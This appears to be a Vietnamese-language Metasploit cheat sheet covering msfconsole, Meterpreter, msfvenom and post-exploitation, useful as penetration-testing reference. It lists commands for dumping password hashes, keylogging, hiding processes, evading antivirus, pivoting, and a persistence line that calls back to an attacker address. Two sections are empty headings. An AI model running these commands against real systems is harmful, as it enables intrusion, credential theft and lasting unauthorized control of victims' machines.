Metasploit Framework Cheat Sheet

Metasploit giúp đơn giản hóa việc tìm kiếm, khai thác và xác nhận các lỗ hổng bảo mật.


1. Kiến trúc và Các thành phần (Architecture)

Hiểu cấu trúc của MSF để biết cách phối hợp các module.

graph TD A[Metasploit Framework] --> B[Modules] B --> B1[Exploits: Mã khai thác lỗ hổng] B --> B2[Payloads: Mã chạy trên máy nạn nhân] B --> B3[Auxiliary: Quét, giải mã, thu thập] B --> B4[Post: Sau khi đã chiếm quyền] B --> B5[Encoders: Mã hóa để tránh AV] B --> B6[NOPs: Giữ ổn định bộ nhớ] A --> C[Interfaces] C --> C1[msfconsole: Dòng lệnh chính] C --> C2[msfvenom: Tạo payload thủ công]

2. Các lệnh cơ bản trong msfconsole

Đây là “trái tim” của Metasploit.

LệnhÝ nghĩa
helpHiển thị tất cả các lệnh khả dụng.
search <keyword>Tìm kiếm module (ví dụ: search eternalblue).
use <module_path>Chọn một module để làm việc.
infoXem thông tin chi tiết về module đang chọn.
show optionsXem các tham số cần thiết của module.
set <variable> <value>Thiết lập giá trị cho tham số (ví dụ: set RHOSTS 10.0.0.1).
setg <variable> <value>Thiết lập giá trị toàn cục (không cần set lại khi đổi module).
unset <variable>Xóa giá trị đã thiết lập.
checkKiểm tra xem mục tiêu có dính lỗi không (không khai thác).
exploit hoặc runBắt đầu quá trình tấn công/chạy module.
backThoát khỏi module hiện tại về menu chính.
exitThoát khỏi Metasploit.

3. Quy trình khai thác tiêu chuẩn (The Workflow)


4. Làm việc với Payload & Meterpreter

Meterpreter là một payload cao cấp chạy trong bộ nhớ, cực kỳ khó bị phát hiện và cung cấp rất nhiều tính năng.

Các loại Payload

  • Được chia làm 2 phần: Một phần nhỏ (Stager) được gửi trước để chiếm chỗ, sau đó mới tải phần lớn (Stage) về.
  • Ví dụ: windows/meterpreter/reverse_tcp (Dấu / thể hiện sự phân tách).
  • Toàn bộ mã được gửi đi một lần duy nhất. Ổn định hơn trong môi trường mạng kém.
  • Ví dụ: windows/meterpreter_reverse_tcp (Dấu _ nối liền).

Các lệnh Meterpreter phổ biến

LệnhChức năng
sysinfoXem thông tin hệ thống nạn nhân.
getuidXem quyền hạn hiện tại (User nào).
getsystemCố gắng leo thang đặc quyền lên SYSTEM (Windows).
hashdumpTrích xuất file băm mật khẩu (Hashes).
screenshotChụp màn hình máy nạn nhân.
shellMở CMD hoặc Bash của máy nạn nhân.
upload/downloadDi chuyển file giữa máy tấn công và máy nạn nhân.
migrate Di chuyển tiến trình Meterpreter sang một App khác (ví dụ: explorer.exe) để ẩn mình.
keyscan_startBắt đầu ghi lại các phím bấm (Keylogging).

5. MSFVenom: Trình tạo Payload tùy chỉnh

Dùng để tạo các file thực thi (.exe, .apk, .php…) chứa mã độc.

Cú pháp cơ bản

msfvenom -p <payload> <options> -f <format> -o <output>

Ví dụ điển hình


6. Quản lý Cơ sở dữ liệu (Database)

Sử dụng database giúp bạn lưu lại lịch sử quét, các host đã tìm thấy và các service đang chạy.

  1. Khởi động: systemctl start postgresql -> msfdb init
  2. Trạng thái: db_status
  3. Tích hợp Nmap: db_nmap -sV 192.168.1.0/24 (Kết quả tự động lưu vào MSF).
  4. Truy vấn:
    • hosts: Liệt kê các máy đã quét.
    • services: Liệt kê các cổng đang mở.
    • vulns: Liệt kê các lỗ hổng đã xác nhận.
    • creds: Liệt kê các thông tin đăng nhập đã thu thập được.

7. Kỹ thuật nâng cao & Post-Exploitation

Port Forwarding (Chuyển tiếp cổng)

Dùng để truy cập các dịch vụ bên trong mạng nội bộ mà máy tấn công không thấy trực tiếp. portfwd add -l 3389 -p 3389 -r 192.168.1.50 (Bây giờ bạn có thể RDP vào localhost:3389 để điều khiển máy 1.50)

Pivoting (Nhảy cóc)

Sử dụng một máy đã chiếm được quyền làm bàn đạp để tấn công các máy khác trong mạng nội bộ.

  1. Thiết lập Route: route add 10.10.10.0 255.255.255.0 1 (1 là ID của Session).
  2. Sử dụng module quét trong mạng nội bộ qua Route này.

Persistence (Duy trì truy cập)

Tạo cơ chế để khi máy nạn nhân khởi động lại, bạn vẫn có quyền điều khiển. run persistence -U -i 5 -p 4444 -r 192.168.1.10


8. Các từ khóa quan trọng (Terminology)

Từ khóaÝ nghĩa
RHOSTSRemote Host - Địa chỉ IP của mục tiêu.
LHOSTLocal Host - Địa chỉ IP của máy tấn công (dùng cho Reverse Shell).
RPORTRemote Port - Cổng dịch vụ trên máy mục tiêu.
LPORTLocal Port - Cổng máy tấn công chờ kết nối về.
PayloadĐoạn mã sẽ thực hiện hành động trên máy nạn nhân (ví dụ: mở shell).
HandlerModule chuyên dùng để nghe (listen) các kết nối ngược về từ Payload.